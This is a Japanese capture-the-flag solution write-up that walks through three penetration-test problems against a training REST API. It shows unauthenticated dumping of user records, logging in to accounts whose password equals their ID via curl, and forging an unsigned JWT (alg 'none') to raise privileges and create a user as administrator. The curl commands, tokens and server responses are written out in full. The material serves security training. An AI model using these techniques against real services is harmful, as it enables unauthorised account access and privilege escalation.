問題解説 セキュリティ診断

平成30年11月10日

仙台CTF推進プロジェクト

砂金 善弘

Penetration test 01

問題1

RESTful APIサーバーのセキュリティ診断をしたところ、制限無しでユーザー情報を取得できてしまう問題が見つかりました。RESTful APIサーバーにアクセスしてフラグを探してください。

[対象サーバー]

- 180.42.14.119:8080

解説

- RESTful の詳細については、Webを参照してください。
  今回の問題では、誰でもデータを取得できることが問題でした。
  そのため、次のURLにアクセスするとFLAGを見つけることができます。
  - http://180.42.14.119:8080/api/v1/users


```
{
  error : false
  message : "success"
  status : 200
  users : [
    0 : {
      id : "SGFydWtvX1NhaXRvdUB4ZHF1ZWV0Y2oubWppZi5taw"
      email : "Haruko_Saitou@xdqueetcj.mjif.mk"
      name : "SaitouHaruko"
      age : 48
      note : "山口県下関市菊川町西中山1-15-13テラス菊川町西中山317"
      auth : 2
    }
    1 : {
      id : "Unl1dV9FZGFAb21uc3VrdW5rbS5iY3JsLnVxcw"
      email : "Ryuu_Eda@omnsukunkm.bcrl.uqs"
      name : "EdaRyuu"
      age : 22
    }
    21 : {
      id : "aWRAaXMuZmxhZy5kYQ"
      email : "id@is.flag.da"
      name : "AreUEnjoy?"
      age : 29
      note : "秋田県能代市大曲43175"
      auth : 2
    }
```

Penetration test 02

問題2

セキュリティ診断を続けたところ、どうやら、テストということでjoeアカウントが使われているアカウントがあるようです。

joeアカウントが使われているアカウント見つけてログインしてください。

- ※1 joeアカウントとは、ユーザーのIDとパスワードが同じアカウントのことを指します。
- ※2 /api/v1/login にメールアドレスとパスワードをJSON形式でPOSTするとログインすることができます。
- ※3 JSONはこんな形式です。{"email":"メールアドレス","password":"パスワード"}

［診断対象サーバ］

- http://180.42.14.119:8080/api/v1/login

解説

- IDとパスワードが一緒ということで、取得したユーザー情報一覧からidの文字列をパスワードに設定してひとつずつ login にPOSTすると答えに繋がります。
- 例としてcurl コマンドを使った解決方法を書きます。

```
curl http://180.42.14.119:8080/api/v1/login -X POST
-d
'{"email":"okomatsu@akiejnfv.eir","password":"b2tvbWF0c3VAYWtpZWpuZnYuZWly"}'
```


```
{
  error : false
  flag : "TmV4dCBGTEFHOiBDb25ncmF0dWxhdGlvbnMhIVlvdV9oYXZlX2NsZWFyZWRfYWxsX3RoZV9wcm9ibGVtcw"
  message : "success"
  status : 200
  token : "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoyLCJleHAiOjE5MjQ5NTIzOTksInVzZXIiOiJLb21hdHN1TW9yaXRvbW8ifQ."
}
```

Penetration test 03

問題3

ログイン時に生成されたトークンの作り方に問題があるようです。

Pen.2で見つけたユーザーアカウントを使ってログインした後、取得したトークンを解析して、
管理者権限でデータを登録してください。

取得したトークンは、Authorizationに設定します。

[診断対象サーバ]
http://180.42.14.119:8080/api/v1/users

解説（1）

- 2. でログインをするとトークン ″eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoyLCJleHAiOjE5MjQ5NTIzOTksInVzZXIiOiJLb21hdHN1TW9yaXRvbW8ifQ.″が取得できます。
- このトークンは、JWTの方式で生成されてまして、base64でエンコードされています。.
  毎に文字列を分割してbase64でデコードします

  {"alg":"none","typ":"JWT"}
  {″auth″:2,″exp″:1924952399,″user″:″KomatsuMoritomo″}

- デコードして得た文字列のauthを1に書き換えて、base64で改めてエンコードします。

  eyJhdXRoIjoxLCJleHAiOjE5MjQ5NTIzOTksInVzZXIiOiJLb21hdHN1TW9yaXRvbW8ifeKAiw

解説(2)

- Base64でエンコードした文字列と、もともとのトークンを組み合わせて新しいトークンを作ります。

  eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxLCJleHAiOjE5MjQ5NTIzOTksInVzZXIiOiJLb21hdHN1TW9yaXRvbW8ifeKAiw.

- 後は、curl を使って、トークンを Authorization ヘッダーに設定して、jsonをポストするとフラグを取得できます。

```
curl http://180.42.14.119:8080/api/v1/users -X POST -d
'{"id":"aG9nZUBob2dlLmNvbQ","email":"hoge@hoge.com","name":"hoge
hoge","age":18}' -H
'Authorization:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxLCJleHAi
OjE5MjQ5NTIzOTksInVzZXIiOiJLb21hdHN1TW9yaXRvbW8ifeKAiw.'
```


```
{
  error : false
  flag : "Congratulations!!You_have_cleared_all_the_problems"
  message : "success"
  status : 201
  user : {
    id : "aG9nZUBob2dlLmNvbQ"
    email : "hoge@hoge.com"
    name : "hoge hoge"
    age : 18
    note : ""
    auth : 0
  }
}
```